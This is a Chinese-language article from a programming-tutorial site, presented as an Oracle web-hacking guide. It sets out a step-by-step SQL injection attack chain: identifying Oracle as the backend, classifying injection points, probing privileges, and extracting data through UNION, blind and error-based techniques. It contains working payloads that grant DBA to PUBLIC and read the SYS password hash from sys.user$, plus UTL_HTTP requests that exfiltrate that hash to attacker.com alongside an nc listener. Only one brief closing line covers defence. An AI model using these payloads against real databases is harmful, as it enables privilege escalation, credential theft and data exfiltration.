首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle Web Hacking 核心思路:目標識別、注入點分類、權限偵察、Union/UTL_HTTP 數據外帶、系統表蒐集完整攻擊鏈

     編輯:Oracle 資料庫基礎

階段一:目標識別 — 確認後端為 Oracle

  • 註釋測試:Oracle 支援 -- 單行註釋,不支援 ; 多語句分隔。
    id=1-- 正常 / id=1;SELECT 1 報錯
  • 字串連接符:Oracle 使用 ||。
    AND CHR(123)||CHR(123)=CHR(123)||CHR(123) 若成功 → 高度疑似 Oracle
  • 系統表探測:ALL_TABLES、DUAL 為 Oracle 特有。
    AND (SELECT COUNT(*) FROM ALL_TABLES)>0
  • 錯誤回顯:應用未處理例外 → 直接顯示 ORA-XXXXX、PLS-XXXXX,明確洩露資料庫型別。

階段二:注入點分類與環境構造

類型參數範例閉合方式難點
數字型id=1231 AND 1=1 --無引號干擾,最簡單
字串型name=abc' AND '1'='1 --需處理單引號、PHP addslashes 轉義
搜尋型 (LIKE)q=keyword'% UNION SELECT ... --屬字串型變體,需閉合 % 通配符

核心原則:構造一個**語法完整、邏輯可控**的注入環境,只需一個可插入任意 SQL 的缺口。

階段三:權限偵察 — 判斷當前用戶權限

  • DBA 權限測試:AND (SELECT COUNT(*) FROM DBA_TABLES)>0 成功 → 為 DBA。
  • 跨 Schema 查詢:若當前用戶被授予 SELECT ANY TABLE,可直接查詢他人表。
  • 當前用戶:SELECT USER FROM DUAL、SYS_CONTEXT('USERENV','CURRENT_USER')。

階段四:注入類型別利用策略

1. SELECT 型注入 (最常見)

  • Union 查詢回顯:條件 — 知道欄位數、找到字串型欄位、長度足夠。
    步驟:ORDER BY n 猜欄位數 → UNION SELECT NULL,NULL,'MARK',NULL... 定位可回顯欄位 → 替換 'MARK' 為敏感查詢。
  • 盲注 (Blind):無回顯,用布爾/時間盲注逐位提取。
  • 錯誤回顯:利用 UTL_INADDR.GET_HOST_NAME、CTXSYS.DRITHSX.SN 等函數將資料放入錯誤訊息。

2. INSERT/UPDATE 型注入

  • 可修改資料:UPDATE users SET password='hacked' WHERE id=1 → 登入後台。
  • 子查詢外帶:INSERT INTO log (msg) VALUES ((SELECT password FROM dba_users WHERE username='SYS')) → 再查詢 log 表讀取。

3. PL/SQL 匿名區塊注入 (最高權限)

輸入置於 BEGIN ... END; 間 → 可直接執行多語句、DDL、EXECUTE IMMEDIATE、UTL_HTTP、**幾乎無限制**。


'; EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; --
'; BEGIN UTL_HTTP.REQUEST('https://attacker.com/?data='||(SELECT password FROM sys.user$ WHERE name='SYS')); END; --

階段五:敏感數據蒐集 — 系統表全景掃描

目標關鍵系統表/視圖查詢範例
所有表結構ALL_TABLES, ALL_TAB_COLUMNSSELECT table_name FROM all_tables WHERE owner='SCOTT'
密碼雜湊DBA_USERS (11g+), SYS.USER$ (10g-)SELECT name, password FROM sys.user$ WHERE name='SYS'
PL/SQL 原始碼ALL_SOURCESELECT text FROM all_source WHERE name='PKG_SENSITIVE'
網路 ACLDBA_NETWORK_ACLS判斷 UTL_HTTP 是否可連外
Java 權限DBA_JAVA_POLICY判斷 SOCKET/FILE 權限

階段六:Union 查詢精準定位技巧

  1. 欄位數:ORDER BY 10 → 錯誤 → ORDER BY 5 → 正常 → 二分法鎖定 (例:7 欄)。
  2. 字串型欄位定位:UNION SELECT NULL,NULL,'TEST',NULL,NULL,NULL,NULL FROM DUAL → 觀察頁面哪個位置出現 TEST。
  3. 類型匹配:Oracle NULL 可匹配任意類型,先用全 NULL 通過類型檢查,再逐個替換為實際查詢。
  4. 長度不足:用 SUBSTR、DBMS_LOB.SUBSTR 截取、或分多次 Union 外帶。
  5. 無 FROM 表:Oracle 必須有 FROM DUAL (單列虛表)。

階段七:UTL_HTTP 萬能外帶 — 突破所有回顯限制


-- 攻擊者: nc -lvp 8080
SELECT UTL_HTTP.REQUEST('https://attacker.com:8080/?data='||UTL_RAW.CAST_TO_VARCHAR2(DBMS_LOB.SUBSTR((SELECT password FROM sys.user$ WHERE name='SYS'),2000,1))) FROM DUAL;

優勢:不需 Union、不需回顯欄位、可大量外帶、可驗證資料庫出網能力與出口 IP。

總結:Oracle Web Hacking 核心優勢

  • 豐富內建套件 (UTL_HTTP, UTL_FILE, DBMS_SQL, DBMS_LOB, JAVA) → 攻擊面極大
  • PL/SQL 匿名區塊注入 → 無語句限制
  • 系統表完整 → 資訊蒐集系統化
  • NULL 型別通配 + DUAL → Union 構造極簡單

防禦核心:參數化查詢 + 最小權限 + 撤銷 PUBLIC 高風險套件執行權 + WAF + 統一錯誤頁面 + 定期滲透測試。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved